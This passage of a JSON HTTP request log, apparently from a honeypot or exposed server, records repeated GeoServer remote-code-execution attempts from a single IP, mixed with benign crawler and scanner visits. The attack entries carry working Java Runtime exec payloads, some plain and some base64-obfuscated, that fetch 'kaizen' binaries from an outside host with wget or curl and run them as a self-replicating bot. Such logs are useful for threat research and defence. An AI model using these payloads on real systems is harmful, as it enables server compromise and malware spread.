rYWl6ZW4ueDg2IC1vIC5rIDI%2BL2Rldi9udWxsO2NobW9kIDc3NyAuaztub2h1cCAuLy5rIHNlbGZyZXAuZ2Vvc2VydmVyID4vZGV2L251bGwgMj4mMSAm%7Cbase64%24%7BIFS%7D-d%7Csh%22%29",
"client_ip": "127.0.0.1",
"client_port": 55850,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:24:54.994204+00:00",
"method": "POST",
"path": "/geoserver/wfs",
"client_ip": "127.0.0.1",
"client_port": 55856,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Content-Length": "925",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/xml"
},
"body": "\n \n exec(java.lang.Runtime.getRuntime(),new java.lang.String[]{'/bin/bash','-c','cd /tmp||cd /var/run||cd /dev/shm||cd /root||cd /;wget -q http://196.251.121.142/a3f8d2/kaizen.x86_64_srv -O .k 2>/dev/null||wget -q http://196.251.121.142/a3f8d2/kaizen.arm64 -O .k 2>/dev/null||wget -q http://196.251.121.142/a3f8d2/kaizen.x86 -O .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.x86_64_srv -o .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.arm64 -o .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.x86 -o .k 2>/dev/null;chmod 777 .k;nohup ./.k selfrep.geoserver >/dev/null 2>&1 &'})\n",
"body_len": 925
},
{
"ts": "2026-08-30T11:24:55.679245+00:00",
"method": "POST",
"path": "/geoserver/wfs",
"client_ip": "127.0.0.1",
"client_port": 55870,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Content-Length": "1090",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/xml"
},
"body": "\n \n exec(java.lang.Runtime.getRuntime(),\"sh -c echo${IFS}Y2QgL3RtcHx8Y2QgL3Zhci9ydW58fGNkIC9kZXYvc2htfHxjZCAvcm9vdHx8Y2QgLzt3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1PIC5rIDI+L2Rldi9udWxsfHx3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtTyAuayAyPi9kZXYvbnVsbHx8d2dldCAtcSBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1PIC5rIDI+L2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1vIC5rIDI+L2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtbyAuayAyPi9kZXYvbnVsbHx8Y3VybCAtZnNTTCBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1vIC5rIDI+L2Rldi9udWxsO2NobW9kIDc3NyAuaztub2h1cCAuLy5rIHNlbGZyZXAuZ2Vvc2VydmVyID4vZGV2L251bGwgMj4mMSAm|base64${IFS}-d|sh\")\n",
"body_len": 1090
},
{
"ts": "2026-08-30T11:24:57.170327+00:00",
"method": "GET",
"path": "/geoserver/ows?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=cite:Lakes&valueReference=exec%28java.lang.Runtime.getRuntime%28%29%2C%22sh%20-c%20echo%24%7BIFS%7DY2QgL3RtcHx8Y2QgL3Zhci9ydW58fGNkIC9kZXYvc2htfHxjZCAvcm9vdHx8Y2QgLzt3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1PIC5rIDI%2BL2Rldi9udWxsfHx3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtTyAuayAyPi9kZXYvbnVsbHx8d2dldCAtcSBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1PIC5rIDI%2BL2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1vIC5rIDI%2BL2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtbyAuayAyPi9kZXYvbnVsbHx8Y3VybCAtZnNTTCBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1vIC5rIDI%2BL2Rldi9udWxsO2NobW9kIDc3NyAuaztub2h1cCAuLy5rIHNlbGZyZXAuZ2Vvc2VydmVyID4vZGV2L251bGwgMj4mMSAm%7Cbase64%24%7BIFS%7D-d%7Csh%22%29",
"client_ip": "127.0.0.1",
"client_port": 55880,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:24:57.930516+00:00",
"method": "POST",
"path": "/geoserver/wfs",
"client_ip": "127.0.0.1",
"client_port": 55884,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Content-Length": "916",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/xml"
},
"body": "\n \n exec(java.lang.Runtime.getRuntime(),new java.lang.String[]{'/bin/bash','-c','cd /tmp||cd /var/run||cd /dev/shm||cd /root||cd /;wget -q http://196.251.121.142/a3f8d2/kaizen.x86_64_srv -O .k 2>/dev/null||wget -q http://196.251.121.142/a3f8d2/kaizen.arm64 -O .k 2>/dev/null||wget -q http://196.251.121.142/a3f8d2/kaizen.x86 -O .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.x86_64_srv -o .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.arm64 -o .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.x86 -o .k 2>/dev/null;chmod 777 .k;nohup ./.k selfrep.geoserver >/dev/null 2>&1 &'})\n",
"body_len": 916
},
{
"ts": "2026-08-30T11:24:58.843204+00:00",
"method": "GET",
"path": "/geoserver/ogc/features/v1/collections?filter-lang=cql-text&filter=exec%28java.lang.Runtime.getRuntime%28%29%2Cnew%20java.lang.String%5B%5D%7B%27/bin/bash%27%2C%27-c%27%2C%27cd%20/tmp%7C%7Ccd%20/var/run%7C%7Ccd%20/dev/shm%7C%7Ccd%20/root%7C%7Ccd%20/%3Bwget%20-q%20http%3A//196.251.121.142/a3f8d2/kaizen.x86_64_srv%20-O%20.k%202%3E/dev/null%7C%7Cwget%20-q%20http%3A//196.251.121.142/a3f8d2/kaizen.arm64%20-O%20.k%202%3E/dev/null%7C%7Cwget%20-q%20http%3A//196.251.121.142/a3f8d2/kaizen.x86%20-O%20.k%202%3E/dev/null%7C%7Ccurl%20-fsSL%20http%3A//196.251.121.142/a3f8d2/kaizen.x86_64_srv%20-o%20.k%202%3E/dev/null%7C%7Ccurl%20-fsSL%20http%3A//196.251.121.142/a3f8d2/kaizen.arm64%20-o%20.k%202%3E/dev/null%7C%7Ccurl%20-fsSL%20http%3A//196.251.121.142/a3f8d2/kaizen.x86%20-o%20.k%202%3E/dev/null%3Bchmod%20777%20.k%3Bnohup%20./.k%20selfrep.geoserver%20%3E/dev/null%202%3E%261%20%26%27%7D%29",
"client_ip": "127.0.0.1",
"client_port": 55896,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:31:43.163030+00:00",
"method": "GET",
"path": "/robots.txt",
"client_ip": "127.0.0.1",
"client_port": 44666,
"headers": {
"Host": "cb.cubicy.icu",
"X-Real-IP": "216.73.216.31",
"X-Forwarded-For": "216.73.216.31",
"X-Forwarded-Proto": "https",
"Connection": "close",
"accept": "*/*",
"user-agent": "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)",
"accept-encoding": "gzip, br, zstd, deflate"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:31:44.515896+00:00",
"method": "GET",
"path": "/",
"client_ip": "127.0.0.1",
"client_port": 50444,
"headers": {
"Host": "cb.cubicy.icu",
"X-Real-IP": "216.73.216.31",
"X-Forwarded-For": "216.73.216.31",
"X-Forwarded-Proto": "https",
"Connection": "close",
"accept": "*/*",
"user-agent": "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)",
"accept-encoding": "gzip, br, zstd, deflate"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:33:31.221501+00:00",
"method": "GET",
"path": "/robots.txt",
"client_ip": "127.0.0.1",
"client_port": 35612,
"headers": {
"Host": "cb.cubicy.icu",
"X-Real-IP": "74.7.228.54",
"X-Forwarded-For": "74.7.228.54",
"X-Forwarded-Proto": "https",
"Connection": "close",
"x-openai-host-hash": "126195135",
"from": "oai-searchbot(at)openai.com",
"user-agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; robots.txt; +https://openai.com/searchbot",
"accept": "*/*",
"accept-encoding": "gzip, br, deflate"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:37:08.799988+00:00",
"method": "GET",
"path": "/",
"client_ip": "127.0.0.1",
"client_port": 35618,
"headers": {
"Host": "cb.cubicy.icu",
"X-Real-IP": "205.210.31.49",
"X-Forwarded-For": "205.210.31.49",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity",
"Referer": "http://cb.cubicy.icu/"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:39:51.426983+00:00",
"method": "GET",
"path": "/",
"client_ip": "127.0.0.1",
"client_port": 55628,
"headers": {
"Host": "cb.cubicy.icu",
"X-Real-IP": "168.100.11.184",
"X-Forwarded-For": "168.100.11.184",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "de-DE,de;q=0.9,en;q=0.8",
"Accept-Encoding": "gzip, deflate, br",
"Upgrade-Insecure-Requests": "1",
"sec-fetch-mode": "cors"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:48:11.175936+00:00",
"method": "GET",
"path": "/geoserver/web/",
"client_ip": "127.0.0.1",
"client_port": 40926,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "python-requests/2.25.1",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:48:11.968587+00:00",
"method": "GET",
"path": "/geoserver/wfs?request=ListStoredQueries&service=wfs&version=2.0.0",
"client_ip": "127.0.0.1",
"client_port": 40934,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "python-requests/2.25.1",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:48:12.688857+00:00",
"method": "GET",
"path": "/geoserver/wfs?service=wfs&version=2.0.0&request=GetCapabilities",
"client_ip": "127.0.0.1",
"client_port": 40944,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "python-requests/2.25.1",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:48:13.819178+00:00",
"method": "POST",
"path": "/geoserver/wfs",
"client_ip": "127.0.0.1",
"client_port": 40950,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Content-Length": "1092",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/xml"
},
"body": "\n \n exec(java.lang.Runtime.getRuntime(),\"sh -c echo${IFS}Y2QgL3RtcHx8Y2QgL3Zhci9ydW58fGNkIC9kZXYvc2htfHxjZCAvcm9vdHx8Y2QgLzt3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1PIC5rIDI+L2Rldi9udWxsfHx3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtTyAuayAyPi9kZXYvbnVsbHx8d2dldCAtcSBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1PIC5rIDI+L2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1vIC5rIDI+L2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtbyAuayAyPi9kZXYvbnVsbHx8Y3VybCAtZnNTTCBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1vIC5rIDI+L2Rldi9udWxsO2NobW9kIDc3NyAuaztub2h1cCAuLy5rIHNlbGZyZXAuZ2Vvc2VydmVyID4vZGV2L251bGwgMj4mMSAm|base64${IFS}-d|sh\")\n",
"body_len": 1092
},
{
"ts": "2026-08-30T11:48:14.842032+00:00",
"method": "GET",
"path": "/geoserver/ows?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec%28java.lang.Runtime.getRuntime%28%29%2C%22sh%20-c%20echo%24%7BIFS%7DY2QgL3RtcHx8Y2QgL3Zhci9ydW58fGNkIC9kZXYvc2htfHxjZCAvcm9vdHx8Y2QgLzt3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1PIC5rIDI%2BL2Rldi9udWxsfHx3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtTyAuayAyPi9kZXYvbnVsbHx8d2dldCAtcSBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1PIC5rIDI%2BL2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1vIC5rIDI%2BL2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtbyAuayAyPi9kZXYvbnVsbHx8Y3VybCAtZnNTTCBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1vIC5rIDI%2BL2Rldi9udWxsO2NobW9kIDc3NyAuaztub2h1cCAuLy5rIHNlbGZyZXAuZ2Vvc2VydmVyID4vZGV2L251bGwgMj4mMSAm%7Cbase64%24%7BIFS%7D-d%7Csh%22%29",
"client_ip": "127.0.0.1",
"client_port": 44098,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:48:15.647572+00:00",
"method": "POST",
"path": "/geoserver/wfs",
"client_ip": "127.0.0.1",
"client_port": 44112,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Content-Length": "918",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/xml"
},
"body": "\n \n exec(java.lang.Runtime.getRuntime(),new java.lang.String[]{'/bin/bash','-c','cd /tmp||cd /var/run||cd /dev/shm||cd /root||cd /;wget -q http://196.251.121.142/a3f8d2/kaizen.x86_64_srv -O .k 2>/dev/null||wget -q http://196.251.121.142/a3f8d2/kaizen.arm64 -O .k 2>/dev/null||wget -q http://196.251.121.142/a3f8d2/kaizen.x86 -O .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.x86_64_srv -o .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.arm64 -o .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.x86 -o .k 2>/dev/null;chmod 777 .k;nohup ./.k selfrep.geoserver >/dev/null 2>&1 &'})\n",
"body_len": 918
},
{
"ts": "2026-08-30T11:48:16.844858+00:00",
"method": "POST",
"path": "/geoserver/wfs",
"client_ip": "127.0.0.1",
"client_port": 44126,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Content-Length": "1091",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/xml"
},
"body": "\n \n exec(java.lang.Runtime.getRuntime(),\"sh -c echo${IFS}Y2QgL3RtcHx8Y2QgL3Zhci9ydW58fGNkIC9kZXYvc2htfHxjZCAvcm9vdHx8Y2QgLzt3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1PIC5rIDI+L2Rldi9udWxsfHx3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtTyAuayAyPi9kZXYvbnVsbHx8d2dldCAtcSBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1PIC5rIDI+L2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1vIC5rIDI+L2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtbyAuayAyPi9kZXYvbnVsbHx8Y3VybCAtZnNTTCBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1vIC5rIDI+L2Rldi9udWxsO2NobW9kIDc3NyAuaztub2h1cCAuLy5rIHNlbGZyZXAuZ2Vvc2VydmVyID4vZGV2L251bGwgMj4mMSAm|base64${IFS}-d|sh\")\n",
"body_len": 1091
},
{
"ts": "2026-08-30T11:48:17.763237+00:00",
"method": "GET",
"path": "/geoserver/ows?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:bugsites&valueReference=exec%28java.lang.Runtime.getRuntime%28%29%2C%22sh%20-c%20echo%24%7BIFS%7DY2QgL3RtcHx8Y2QgL3Zhci9ydW58fGNkIC9kZXYvc2htfHxjZCAvcm9vdHx8Y2QgLzt3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1PIC5rIDI%2BL2Rldi9udWxsfHx3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtTyAuayAyPi9kZXYvbnVsbHx8d2dldCAtcSBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1PIC5rIDI%2BL2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1vIC5rIDI%2BL2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtbyAuayAyPi9kZXYvbnVsbHx8Y3VybCAtZnNTTCBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1vIC5rIDI%2BL2Rldi9udWxsO2NobW9kIDc3NyAuaztub2h1cCAuLy5rIHNlbGZyZXAuZ2Vvc2VydmVyID4vZGV2L251bGwgMj4mMSAm%7Cbase64%24%7BIFS%7D-d%7Csh%22%29",
"client_ip": "127.0.0.1",
"client_port": 44132,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:48:19.377117+00:00",
"method": "POST",
"path": "/geoserver/wfs",
"client_ip": "127.0.0.1",
"client_port": 44136,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Content-Length": "917",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/xml"
},
"body": "\n \n exec(java.lang.Runtime.getRuntime(),new java.lang.String[]{'/bin/bash','-c','cd /tmp||cd /var/run||cd /dev/shm||cd /root||cd /;wget -q http://196.251.121.142/a3f8d2/kaizen.x86_64_srv -O .k 2>/dev/null||wget -q http://196.251.121.142/a3f8d2/kaizen.arm64 -O .k 2>/dev/null||wget -q http://196.251.121.142/a3f8d2/kaizen.x86 -O .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.x86_64_srv -o .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.arm64 -o .k 2>/dev/null||curl -fsSL http://196.251.121.142/a3f8d2/kaizen.x86 -o .k 2>/dev/null;chmod 777 .k;nohup ./.k selfrep.geoserver >/dev/null 2>&1 &'})\n",
"body_len": 917
},
{
"ts": "2026-08-30T11:48:20.441804+00:00",
"method": "POST",
"path": "/geoserver/wfs",
"client_ip": "127.0.0.1",
"client_port": 44146,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Content-Length": "1091",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/xml"
},
"body": "\n \n exec(java.lang.Runtime.getRuntime(),\"sh -c echo${IFS}Y2QgL3RtcHx8Y2QgL3Zhci9ydW58fGNkIC9kZXYvc2htfHxjZCAvcm9vdHx8Y2QgLzt3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1PIC5rIDI+L2Rldi9udWxsfHx3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtTyAuayAyPi9kZXYvbnVsbHx8d2dldCAtcSBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1PIC5rIDI+L2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1vIC5rIDI+L2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtbyAuayAyPi9kZXYvbnVsbHx8Y3VybCAtZnNTTCBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1vIC5rIDI+L2Rldi9udWxsO2NobW9kIDc3NyAuaztub2h1cCAuLy5rIHNlbGZyZXAuZ2Vvc2VydmVyID4vZGV2L251bGwgMj4mMSAm|base64${IFS}-d|sh\")\n",
"body_len": 1091
},
{
"ts": "2026-08-30T11:48:22.106222+00:00",
"method": "GET",
"path": "/geoserver/ows?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=topp:states&valueReference=exec%28java.lang.Runtime.getRuntime%28%29%2C%22sh%20-c%20echo%24%7BIFS%7DY2QgL3RtcHx8Y2QgL3Zhci9ydW58fGNkIC9kZXYvc2htfHxjZCAvcm9vdHx8Y2QgLzt3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1PIC5rIDI%2BL2Rldi9udWxsfHx3Z2V0IC1xIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtTyAuayAyPi9kZXYvbnVsbHx8d2dldCAtcSBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1PIC5rIDI%2BL2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi54ODZfNjRfc3J2IC1vIC5rIDI%2BL2Rldi9udWxsfHxjdXJsIC1mc1NMIGh0dHA6Ly8xOTYuMjUxLjEyMS4xNDIvYTNmOGQyL2thaXplbi5hcm02NCAtbyAuayAyPi9kZXYvbnVsbHx8Y3VybCAtZnNTTCBodHRwOi8vMTk2LjI1MS4xMjEuMTQyL2EzZjhkMi9rYWl6ZW4ueDg2IC1vIC5rIDI%2BL2Rldi9udWxsO2NobW9kIDc3NyAuaztub2h1cCAuLy5rIHNlbGZyZXAuZ2Vvc2VydmVyID4vZGV2L251bGwgMj4mMSAm%7Cbase64%24%7BIFS%7D-d%7Csh%22%29",
"client_ip": "127.0.0.1",
"client_port": 44152,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*"
},
"body": "",
"body_len": 0
},
{
"ts": "2026-08-30T11:48:23.041963+00:00",
"method": "POST",
"path": "/geoserver/wfs",
"client_ip": "127.0.0.1",
"client_port": 44154,
"headers": {
"Host": "35.212.245.106",
"X-Real-IP": "196.251.121.142",
"X-Forwarded-For": "196.251.121.142",
"X-Forwarded-Proto": "https",
"Connection": "close",
"Content-Length": "917",
"User-Agent": "Mozilla/5.0",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Content-Type": "application/xml"
},
